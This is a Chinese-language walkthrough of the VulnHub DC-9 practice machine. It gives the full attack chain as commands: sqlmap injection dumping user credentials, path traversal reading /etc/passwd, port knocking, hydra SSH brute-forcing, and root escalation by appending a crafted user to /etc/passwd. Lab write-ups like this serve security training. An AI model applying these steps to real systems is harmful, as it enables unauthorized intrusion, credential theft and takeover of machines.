vulnhub靶机:dc-9

一:信息收集

1:主机发现

arp-scan -I eth0 10.9.23.0/24

靶机IP

10.9.23.189

2:端口扫描

nmap -A -p- -T4 10.9.23.189

3:端口探测

二:渗透测试

1:漏洞利用

发现有搜索框,用bp抓包测试与数据库有无交互

将抓包内容保存跑sqlmap

sqlmap -r "1.txt" --batch

发现可以注入,然后爆出数据库名:

sqlmap -r "1.txt" -dbs --batch

发现users数据库,查看此库中的表,也可以直接用链接

sqlmap -u "http://192.168.11.134/results.php" --data "search=1" -D Staff --tables

sqlmap -r "1.txt" -D Staff --tables --batch

查看Users表的列:

sqlmap -u "http://192.168.11.134/results.php" --data "search=1" -D Staff -T Users --columns

sqlmap -r "1.txt" -D Staff -T Users --columns --batch

查看表内的数据:

sqlmap -u "http://192.168.11.134/results.php" --data "search=1" -D Staff -T Users -C Username,Password --dump

sqlmap -r "1.txt" -D Staff -T Users -C Username,Password --dump --batch

admin

856f5de590ef37314e7c3bdf6f8a66dc

transorbital1

用密码登录系统:

2:目录遍历

目录文件不存在,也就是可以访问目录文件,做一下文件包含的目录爆破:

http://10.9.23.189/manage.php?file=../../../../../../../etc/passwd

发现存在文件包含漏洞,查看可以利用的信息:

http://10.9.23.189/manage.php?file=../../../../../../../etc/knockd.conf

3.端口敲门服务

发现了/etc/knockd.conf文件,发现是是端口敲门服务,端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

这里可以用nc或nmap去挨个敲门:

nc 10.9.23.189 7469
nc 10.9.23.189 8475
nc 10.9.23.189 9842

nc 10.9.23.189 22

或者
nmap -p 7469 10.9.23.189
nmap -p 8475 10.9.23.189
nmap -p 9842 10.9.23.189
nmap -p 22 10.9.23.189

现在可以访问22端口,回顾一下发现users数据库中还有一个UserDetails表:

sqlmap -u "http://10.9.23.189/results.php" --data "search=1" -D users -T UserDetails -C username,password --dump

使用其中的用户名密码进行ssh爆破:

hydra -L user.txt -P pass1.txt 10.9.23.189 ssh

登录后发现janitor用户下有一个密码文件:

Ilovepeepee

ssh janitor@10.9.23.189

将密码收录到之前爆破的密码本中,再次爆破:

hydra -L user.txt -P pass1.txt 10.9.23.189 ssh

发现一个新扫出来的用户,登录进去。

login: fredf

password: B4-Tru3-001

ssh fredf@10.9.23.189

三:提权

发现 sudo -l 可用,找到一个test文件:

/opt/devstuff/dist/test

发现是python相关的文件,查找文件位置:

find / -name "test.py" 2>/dev/null

运行脚本时,第一个参数为要读取内容,第二个参数将读取的内容写到指定文件

ok,思路如下,我们知道,linux指定用户是否为root,我们可以通过修改/etc/passwd/文件来实现

所以,我们构造一个root权限的用户文件,写入到/etc/passwd文件

openssl passwd -1 -salt test 123456
echo 'test:$1$test$at615QShYKduQlx5z9Zm7/:0:0::/root:/bin/bash' >> /tmp/test
sudo ./test /tmp/test /etc/passwd

posted @   woaishuaidan  阅读(14)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~
点击右上角即可分享
微信分享提示